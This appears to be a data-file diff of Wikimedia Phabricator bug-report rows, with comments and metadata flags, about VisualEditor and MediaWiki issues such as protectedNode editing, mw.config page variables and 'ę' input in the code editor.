+Tested with \n  \r and \r\n end of lines and it makes no difference.
+Tested also using UTF-8, UTF-16, ISO-8859-1, ISO-8859-2 and Windows-1258 encodings.
+
+Also tested copying from this page viewed in Firefox, Konqueror and Linuks, from a PDF, a text file in a terminal, and again from kwrite using the following:
+
+a
+
+b
+
+c
+
+d
+
+e
+
+None of it makes the slightest bit of difference.
+
+https://en.wikipedia.org/w/index.php?title=User%3AThryduulf%2Fsandbox3&diff=571705481&oldid=571089410 is the copy from comment 0",,,1378420228,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-3yhieue5lg5ipuzhildn,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1
+55826,"Lazy load extensions' large resources in VisualEditor, rather than blocking load","Extensions such as Math or SyntaxHighlight may require the inclusion of large(ish) JS libraries. It would be good if we didn't load these on every VE page load, but rather when these elements are present, or become present (e.g. I add a formula to a new document)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1378414320,,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-nydh4gpoq4wxodchwgi3,task_description,open,True,c1,3,True,False,,9,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+55774,mw.config doesn't expose page existence information about the target of a special page,"For special pages, no information about page existence is exposed to mw.config, which means that VisualEditor is forced to assume it exists regardless.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=66885",Medium,50.0,1378324980,1416369086.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-rzsc7tmlupqbuaedolkl,task_description,resolved,True,c1,3,True,False,False,9,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+239133,mw.config doesn't expose page existence information about the target of a special page,"Change 169639 merged by jenkins-bot:
+Expose ID of relevant page in JS variables
+
+https://gerrit.wikimedia.org/r/169639",,,1416369714,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rzsc7tmlupqbuaedolkl,task_subcomment,,True,c1,3,False,,,72,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239131,mw.config doesn't expose page existence information about the target of a special page,"Change 169639 had a related patch set uploaded by Alex Monk:
+Expose ID of relevant page in JS variables
+
+https://gerrit.wikimedia.org/r/169639",,,1414545533,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rzsc7tmlupqbuaedolkl,task_subcomment,,True,c1,3,False,,,69,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+239127,mw.config doesn't expose page existence information about the target of a special page,"'wgRelevantArticleId' => WikiPage::factory( $relevantTitle )->getId() perhaps?
+
+I'm not sure we want to introduce new variables here though...",,,1413833849,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-rzsc7tmlupqbuaedolkl,task_subcomment,,True,c1,3,True,,,68,,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1
+239124,mw.config doesn't expose page existence information about the target of a special page,Sounds like you need the js variable 'wgIsProbablyEditable' or 'wgIsArticle' according to page under 'wgRelevantPageName' or a new variable 'wgRelevantIsProbablyEditable'/'wgRelevantIsArticle' to cover this.,,,1404280264,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,True,,,PHID-TASK-rzsc7tmlupqbuaedolkl,task_subcomment,,True,c1,3,True,,,52,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+239121,mw.config doesn't expose page existence information about the target of a special page,This bug is about giving existence information for the relevant article (i.e. the article that the special page is working on). See bug 66885,,,1403552699,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-rzsc7tmlupqbuaedolkl,task_subcomment,,True,c1,3,True,,,51,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1
+239118,mw.config doesn't expose page existence information about the target of a special page,"(In reply to comment #3)
+> There is wgCanonicalSpecialPageName set, when you are on a special page.
+
+-> WORKSFORME",,,1384032206,,PHID-USER-a6jwrurphpx6yl4coupk,True,,,PHID-TASK-rzsc7tmlupqbuaedolkl,task_subcomment,,True,c1,3,False,,,18,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+239112,mw.config doesn't expose page existence information about the target of a special page,"There is wgCanonicalSpecialPageName set, when you are on a special page.",,,1378631680,,PHID-USER-a6jwrurphpx6yl4coupk,True,,,PHID-TASK-rzsc7tmlupqbuaedolkl,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+239104,mw.config doesn't expose page existence information about the target of a special page,"Change 82744 merged by jenkins-bot:
+Reference core bug 53774 in bug 49000 comment
+
+https://gerrit.wikimedia.org/r/82744",,,1378356954,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rzsc7tmlupqbuaedolkl,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239095,mw.config doesn't expose page existence information about the target of a special page,"Change 82744 had a related patch set uploaded by Jforrester:
+Reference core bug 53774 in bug 49000 comment
+
+https://gerrit.wikimedia.org/r/82744",,,1378325283,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rzsc7tmlupqbuaedolkl,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+55767,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","**Author:** `kwwilliams`
+
+**Description:**
+When articles contain items that lead VE to corrupt the article, we've been protecting them by wrapping the article with <div class=""ve-ce-protectedNode""> and </div>. This used to keep VE from being able to select any material within the article, which allowed us to keep the article from being corrupted.
+
+VE is now allowing edits to templates inside the article (see https://en.wikipedia.org/w/index.php?title=Teenage_Dream_%28Katy_Perry_album%29&veaction=edit for an example), so we now have no way to protect articles that we know VE cannot handle.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52141",Medium,50.0,1378317960,1403741232.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-s47345xgplfmgixnp726,task_description,declined,True,c1,3,False,False,False,9,,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+238471,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","(In reply to This, that and the other from comment #13)
+> As it stands, this is a dupe of bug 52141. I've put back the original bug
+> summary; it seems to me that WONTFIX is the appropriate resolution for this
+> bug.
+
+Agreed.",,,1403741232,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,True,,,51,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,1
+238466,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","As it stands, this is a dupe of bug 52141. I've put back the original bug summary; it seems to me that WONTFIX is the appropriate resolution for this bug.",,,1403416223,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,False,,,50,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+238461,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","James, that is bug 52141.  This bug was about a specific problem with the existing code.",,,1383886236,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,False,,,18,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+238457,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","Changing this to ""Provide a way to block VisualEditor from being active on a page""; I worry that this will lead to yet another magic word, but oh well.",,,1381342100,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+238453,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","I was very easily able to reproduce this problem; I dont have exact steps to reproduce, but with a few clicks and keypresses in the content area, all content was removed and the text I typed appeared in the body of the article.  Undo appeared to work as expected, however 'Review your changes' did not return any results - it hung, but didnt lock up the browser.  The toolbar is another way to override the protectedNode.
+
+This template is also being used to create a 'pre' text area on
+https://en.wikipedia.org/w/index.php?title=Morse_code&veaction=edit",,,1380637712,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,False,,,13,,1,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+238448,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","**kwwilliams** wrote:
+
+Note https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&diff=572094345&oldid=572076135 , where another 26,000 articles that VE mutilates have been identified.
+
+We really need to have a method to shield articles from VE. It's critical to do, and beyond reason to expect that we will always modify articles to conform to VE's expectations.",,,1378671601,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,False,,,9,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+238441,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","I tried again on my test page on a different computer running Firefox 17.0.2 (ESR) under XP.
+
+At first, it seemed that the protected node was working, but at some point (after clicking, double-clicking, typing, ...) I managed to write in the protected node: the result was an even greater mess than before: still the duplication, quotes added all over the place (they seem correct but unnecessary), pipes removed, space added, ...
+
+https://en.wikipedia.org/w/index.php?title=User%3ANicoV%2FTest&diff=571628361&oldid=571542702",,,1378379690,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,False,,,9,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0
+238433,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","**kwwilliams** wrote:
+
+(In reply to comment #6)
+> On the wider point, it's not clear if there's an actual long-term need for a
+> proper VE-prevention system (or if it's all solvable with a few quick fixes
+> of
+> bad wikitext), but if there is, we should build a proper one, not rely on a
+> hack that might break.
+
+What's unclear about that?
+
+I agree that it would be better to do this with a category, but the need for VE to recognise some flag that tells it not to edit a given article seems fairly obvious. As long as VE mutilates pages in response to inputs that behaved reasonably with the working software, we will require a mechanism to tell VE not to edit certain pages.",,,1378324543,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,False,,,9,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,0,1,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+238427,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","(In reply to comment #5)
+> The div has been removed, so people need to look at
+> https://en.wikipedia.org/w/index.
+> php?title=Teenage_Dream_%28Katy_Perry_album%29&oldid=571540632
+
+In this particular case, note that the reason everything was broken in editing this page was because the <ref> was defined outside of the table cell, in a the non-space between the end of the cell and the start of the row, and only happened to ""work"" in WT mode because of HTML Tidy moving it to somewhere sane - Ed's edit to the page fixed the duplication so the desired protection is no longer needed: https://en.wikipedia.org/w/index.php?title=Teenage_Dream_(Katy_Perry_album)&diff=571550633&oldid=571540632
+
+On the wider point, it's not clear if there's an actual long-term need for a proper VE-prevention system (or if it's all solvable with a few quick fixes of bad wikitext), but if there is, we should build a proper one, not rely on a hack that might break.",,,1378323301,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,True,,,9,,1,1,0,1,1,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+238421,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","**kwwilliams** wrote:
+
+The div has been removed, so people need to look at https://en.wikipedia.org/w/index.php?title=Teenage_Dream_%28Katy_Perry_album%29&oldid=571540632",,,1378322920,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,False,,,9,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+238417,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","**kwwilliams** wrote:
+
+(In reply to comment #3)
+> According to the documentation, the div is only meant to block editing to a
+> section of a page (although that section can be the whole text), so adding
+> text
+> before is correct, likewise you should be able to add text after the /div.
+It's a change from the original behaviour. I agree that it's not technically wrong.",,,1378321376,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,False,,,9,,0,0,0,1,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,1
+238411,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","According to the documentation, the div is only meant to block editing to a section of a page (although that section can be the whole text), so adding text before is correct, likewise you should be able to add text after the /div.
+
+The editing templates within the div does sound like a bug though.
+
+If VE (or Parsoid possibly) is not treating the div as invariant then the div definitely isn't doing what it was intended to do.",,,1378320819,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,False,,,9,,0,0,0,1,1,1,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+238406,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","**kwwilliams** wrote:
+
+Firefox 23.0.1 on Windows 7.
+
+To be clear, we are still prevented from editing the text. We are not prevented from editing templates, and we can insert text before div.",,,1378319066,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,False,,,9,,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+238402,"VisualEditor: <div class=""ve-ce-protectedNode""> not always preventing editing in VE","The original person to report this noted that they were using Chrome 29 on Windows 7.
+
+I have been unable to reproduce this in Firefox 23 on Linux.
+
+Neither kww or the ip who can reproduce this have noted their system.",,,1378318792,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-s47345xgplfmgixnp726,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+55766,VisualEditor: Range around an annotated alien calculated incorrectly,"1. Create '<p>Foo<cite>Bar</cite>Baz</p>'
+2. Select Bar
+3. Range is now [4,6] (correct as <cite/> becomes [<alien>,</alien>])
+4. Bold the selection
+5. Range is now [6,6] :(
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1378317600,1378399268.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-ejnmmkuva4ygwqwckki3,task_description,resolved,True,c1,3,True,False,True,9,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1
+238369,VisualEditor: Range around an annotated alien calculated incorrectly,"Change 82771 merged by jenkins-bot:
+Fix getOffsetFrom(Element|Text)Node for annotated aliens
+
+https://gerrit.wikimedia.org/r/82771",,,1378367478,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ejnmmkuva4ygwqwckki3,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+238366,VisualEditor: Range around an annotated alien calculated incorrectly,"Change 82771 had a related patch set uploaded by Esanders:
+Fix getOffsetFrom(Element|Text)Node for annotated aliens
+
+https://gerrit.wikimedia.org/r/82771",,,1378339784,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ejnmmkuva4ygwqwckki3,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+55763,"Impossible to insert the ""ę"" character when editing in Module: namespace with the code editor","[Please move this to a different component if applicable, I'm not sure where the editor comes from.]
+
+It is impossible to insert the ""ę"" or ""Ę"" characters (latin letter ""e""/""E"" with ogonek) from keyboard when editing in Module: namespace with the code editor on the Polish Wikipedia.
+
+""ę"" is inserted on the Polish keyboard using AltGr+e (aka Ctrl+Alt+e). If the editor uses this as a hotkey, it shouldn't (nor should it use any other Ctrl+Alt combinations).
+
+(Reported at https://pl.wikipedia.org/wiki/Wikipedia:Kawiarenka/Kwestie_techniczne#VisualEditor_a_polskie_diakrytyki)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1378316100,1702336181.0,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-psky7k3cs2jglhz37xhh,task_description,resolved,True,c1,3,True,True,False,9,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+2245103,"Impossible to insert the ""ę"" character when editing in Module: namespace with the code editor","This works correctly these days.
+
+It was apparently fixed by https://github.com/ajaxorg/ace/pull/1463 ([[https://github.com/ajaxorg/ace/pull/1463/commits/d4bdfe33001b4c13134515b0fa53b6b64d8b3ee1|d4bdfe33001b4c13134515b0fa53b6b64d8b3ee1]]) – which was already merged when I was filing this bug :) – and we upgraded to that version in https://gerrit.wikimedia.org/r/c/mediawiki/extensions/CodeEditor/+/104510 (early 2014).",,,1702336260,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-psky7k3cs2jglhz37xhh,task_subcomment,,True,c1,3,True,,,545,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+2245102,"Impossible to insert the ""ę"" character when editing in Module: namespace with the code editor","This works correctly these days.
+
+It was apparently fixed by https://github.com/ajaxorg/ace/pull/1463 – which was already merged when I was filing this bug :) – and we upgraded to that version in https://gerrit.wikimedia.org/r/c/mediawiki/extensions/CodeEditor/+/104510 (early 2014).",,,1702336181,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-psky7k3cs2jglhz37xhh,task_subcomment,,True,c1,3,True,,,545,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+238231,"Impossible to insert the ""ę"" character when editing in Module: namespace with the code editor","These are all the default defined key combinations:
+https://github.com/ajaxorg/ace/blob/40ea516801332fb8e96f8ba2e5046eece2fd95d3/lib/ace/commands/default_commands.js",,,1388500776,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-psky7k3cs2jglhz37xhh,task_subcomment,,True,c1,3,True,,,26,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
